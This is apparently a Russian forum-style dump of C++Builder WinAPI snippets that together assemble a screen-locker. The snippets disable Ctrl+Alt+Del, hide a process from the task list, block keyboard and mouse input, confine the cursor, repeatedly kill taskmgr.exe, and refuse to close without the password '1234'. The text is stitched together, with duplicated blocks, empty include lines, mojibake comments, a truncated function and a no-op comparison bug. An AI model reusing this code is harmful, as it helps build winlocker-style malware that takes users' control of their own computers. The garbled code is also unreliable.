открытие форм

int Action = 1;
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, 1, (void*) &Action, 0);

/* Alexey Chubar & Paul Ishenin*/
#pragma hdrstop
#include <condefs.h>
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdlib.h>
USELIB("KERNEL32.lib");
#pragma argsused
extern "C" __stdcall DWORD RegisterServiceProcess(DWORD dwProcessID, DWORD
dwType);
char * ExtractFilePath(const char *Name)
{
 int i = strlen(Name), l = strlen(Name);
 char *res="\0";
 while ((i > 0)&&(Name[i] != '\\')) i--;
 if (i)
 {
   res = (char *)malloc(l - i);
   strcpy(res, Name + i + 1);
   res[l-i-1] = '\0';
 }
 return res;
}
void HideApp(DWORD dwProcessID)
{
 HWND MyHandle = GetTopWindow(0);
 DWORD WindowProcess;
 while (MyHandle != NULL)
 {
   if ((GetWindowThreadProcessId(MyHandle, &WindowProcess) != 0) &&
(WindowProcess == dwProcessID))
   {
    ShowWindow(MyHandle, SW_HIDE);
   }
   MyHandle = GetNextWindow(MyHandle, GW_HWNDNEXT);
 }
 RegisterServiceProcess(dwProcessID, 1);
}
DWORD __fastcall FindID(const char *FName)
{
 HANDLE h;
 PROCESSENTRY32 p;
 h=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 p.dwSize=sizeof(p);
 if(!Process32First(h,&p))
  return -1;
 if(strcmp(strlwr((char *)FName), strlwr(ExtractFilePath(p.szExeFile)))==0)
 {
    CloseHandle(h);
    return p.th32ProcessID;
  }
 while(Process32Next(h,&p))
  if(strcmp(strlwr((char *)FName), strlwr(ExtractFilePath(p.szExeFile)))==0)
  {
    CloseHandle(h);
    return p.th32ProcessID;
   }
  CloseHandle(h);
  return -1;
}
int main(int argc, char* argv[])
{
  if (argc > 1)
  {
   DWORD ProgID=FindID(argv[1]);
   if(ProgID != (DWORD)-1)
    HideApp(ProgID);
   }
   return 0;
}

#include 
#include 
 
 BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);
 
 int main(){
 
  HINSTANCE hKernel;
  int i=1;
  //Пытаемся получить идентификатор загруженной библиотеки
  hKernel=LoadLibrary("KERNEL32.DLL");
 
  if(hKernel){
   //Идентификатор загруженной библиотеки был успешно получен
   cout<<"Success load library kernel32.dll"<< endl;
   RegisterServiceProcess=(int(__stdcall*)(DWORD,DWORD))
 
   GetProcAddress(hKernel,"RegisterServiceProcess");
   if(RegisterServiceProcess){
    //Указатель на функцию RegisterServiceProcess был
    //успешно получен.
    cout<<"Success to have address of the specified exported dynamic-link library (DLL) function"<< endl;
 
    if(RegisterServiceProcess(GetCurrentProcessId(),i))
     cout<<"Success registers the process as a service process"<< endl;
     //Процесс был успешно зарегестрирован как сервис
   }else{
    //Указатель на функцию RegisterServiceProcess не был успешно получен.
    cout<<"Failed to have address of the specified exported dynamic-link library (DLL) function"<< endl;
    cin>>i;
    return 0;
   }
   }else{
    //Идентификатор загруженной библиотеки не был получен
    cout<<"Failed load library kernel32.dll"<< endl;
    cin>>i;
    return 0;
   }
  cout<<"Registers the process as a service process:1"<< endl;
  cout<<"Unregisters the process as a service process:0"<< endl;
  cin>>i;
  if (RegisterServiceProcess(GetCurrentProcessId(),i)){
   cout<<"Success"<< endl;
  }else{
   cout<<"Failed"<< endl;
  }
  cin>>i;
  return 0;
 }

#include <vcl.h>
#pragma hdrstop
 
#include "Unit1.h"
#include "Unit2.h"
#include "Unit3.h"
#include "Unit4.h"
#include "Unit5.h"
#include "Unit6.h"
#include "Unit7.h"
#pragma package(smart_init)
#pragma resource "*.dfm"
#include <condefs.h>
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdlib.h>
USELIB("KERNEL32.lib");
#pragma argsused
TForm1 *Form1;
extern "C" __stdcall DWORD RegisterServiceProcess(DWORD dwProcessID, DWORD
dwType);
char * ExtractFilePath(const char *Name)
{
 int i = strlen(Name), l = strlen(Name);
 char *res="\0";
 while ((i > 0)&&(Name[i] != '\\')) i--;
 if (i)
 {
   res = (char *)malloc(l - i);
   strcpy(res, Name + i + 1);
   res[l-i-1] = '\0';
 }
 return res;
}
void HideApp(DWORD dwProcessID)
{
 HWND MyHandle = GetTopWindow(0);
 DWORD WindowProcess;
 while (MyHandle != NULL)
 {
   if ((GetWindowThreadProcessId(MyHandle, &WindowProcess) != 0) &&
(WindowProcess == dwProcessID))
   {
    ShowWindow(MyHandle, SW_HIDE);
   }
   MyHandle = GetNextWindow(MyHandle, GW_HWNDNEXT);
 }
 RegisterServiceProcess(dwProcessID, 1);
}
DWORD __fastcall FindID(const char *FName)
{
 HANDLE h;
 PROCESSENTRY32 p;
 h=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 p.dwSize=sizeof(p);
 if(!Process32First(h,&p))
  return -1;
 if(strcmp(strlwr((char *)FName), strlwr(ExtractFilePath(p.szExeFile)))==0)
 {
    CloseHandle(h);
    return p.th32ProcessID;
  }
 while(Process32Next(h,&p))
  if(strcmp(strlwr((char *)FName), strlwr(ExtractFilePath(p.szExeFile)))==0)
  {
    CloseHandle(h);
    return p.th32ProcessID;
   }
  CloseHandle(h);
  return -1;
}
int main(int argc, char* argv[])
{
  if (argc > 1)
  {
   DWORD ProgID=FindID(argv[1]);
   if(ProgID != (DWORD)-1)
    HideApp(ProgID);
   }
   return 0;
}

#include "Unit4.h"
 
int closeflag=0;
 
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
 if (Form4->Edit1->Text=="1234")
 {
  closeflag=1;
  Close();
 }
}
 
void __fastcall TForm1::FormCloseQuery(TObject *Sender, bool &CanClose)
{
 if (closeflag!=1)
  CanClose==false;
}

   { HINSTANCE hDll;
    //íèæå ïðîòîòèï áóäóùåé  ôóíêöèè
    DWORD __stdcall (*BlockInput)(bool Status);
    DWORD  Result;
    Memo1->Lines->Add("");
    Memo1->Lines->Add("Çàãðóçêà  ôóíêöèè BlockInput()...");
        hDll =  LoadLibrary("User32.dll");
        Memo1->Lines->Add("hDll = " +  IntToHex(int(hDll), 8));
        BlockInput = (DWORD __stdcall (*)(bool  Status))GetProcAddress(hDll,
        "BlockInput");
    Memo1->Lines->Add("BlockInput  = " + IntToHex(int(BlockInput),  8));
    if(!BlockInput)
    {
        Memo1->Lines->Add("Îøèáêà!!!");
        FreeLibrary(hDll);
        return;
    }
    Memo1->Lines->Add("Âûïîëíÿåì  BlockInput(true)...");
    Result =  BlockInput(true);
    Memo1->Lines->Add("Result = " +  IntToStr(Result));
    if(Result)
    {
        Memo1->Lines->Add("Òåïåðü  êëèàòóðà è ìûøü äîñòóïíû òîëüêî, åñëè íàæàòü  CTRL+ALT+DEL");
        Memo1->Lines->Add("Æäåì 15  ñåê...");
        Sleep(15000);
    }
    else  Memo1->Lines->Add("Îøèáêà!!!");
    Memo1->Lines->Add("Âîññòàíàâëèâàåì  âñå êàê  áûëî...");
    BlockInput(false);
    FreeLibrary(hDll);
    Memo1->Lines->Add("Ãîòîâî.");

RECT LR;
LR.left=100;
LR.top=100;
LR.right=500;
LR.bottom=500;
ClipCursor(&LR);// Ограничиваем в заданой области
 
ClipCursor(NULL);// Разблокировать

#include <Tlhelp32.h>
#include <stdlib.h>
#include <fstream.h>
 
void KillProcess(int id)
{
 HANDLE ps = OpenProcess(1, false, id);
 if (ps)
 TerminateProcess(ps, -9);
}
int IsProcessRunning( char * pName )
{
 int id_p;
 strlwr( pName );
 HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
 PROCESSENTRY32 pe;
 char pExeName[256];
 for( BOOL r=Process32First(snapshot, &pe); r; r=Process32Next(snapshot, &pe) )
 {
  strcpy(pExeName, pe.szExeFile);
  strlwr(pExeName);
  if( std::string(pName)==pExeName )
  {
   id_p=pe.th32ProcessID;
   CloseHandle(snapshot);
   return id_p;
  }
}
CloseHandle(snapshot);
return 0;
}
 
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
 KillProcess(IsProcessRunning("taskmgr.exe"));
}

void __fastcall TForm4::FormDeactivate(TObject *Sender)
{
Perform(WM_SYSCOMMAND,SC_MINIMIZE,0);        
}

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
   KillProcess(IsProcessRunning("taskmgr.exe"));

#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
#include "Unit2.h"
#include "Unit3.h"
#include "Unit4.h"
#include "Unit5.h"
#include "Unit6.h"
#include "Unit7.h"
#pragma package(smart_init)
#pragma resource "*.dfm"
#include <condefs.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <Tlhelp32.h>
#include <fstream.h>
#pragma argsused
TForm1 *Form1;
void KillProcess(int id)
{
 HANDLE ps = OpenProcess(1, false, id);
 if (ps)
 TerminateProcess(ps, -9);
}
int IsProcessRunning( char * pName )
{
 int id_p;
 strlwr( pName );
 HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
 PROCESSENTRY32 pe;
 char pExeName[256];
 for( BOOL r=Process32First(snapshot, &pe); r; r=Process32Next(snapshot, &pe) )
 {
  strcpy(pExeName, pe.szExeFile);
  strlwr(pExeName);
  if( std::string(pName)==pExeName )
  {
   id_p=pe.th32ProcessID;
   CloseHandle(snapshot);
   return id_p;
  }
}
CloseHandle(snapshot);
return 0;
}

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
   KillProcess(IsProcessRunning("taskmgr.exe"));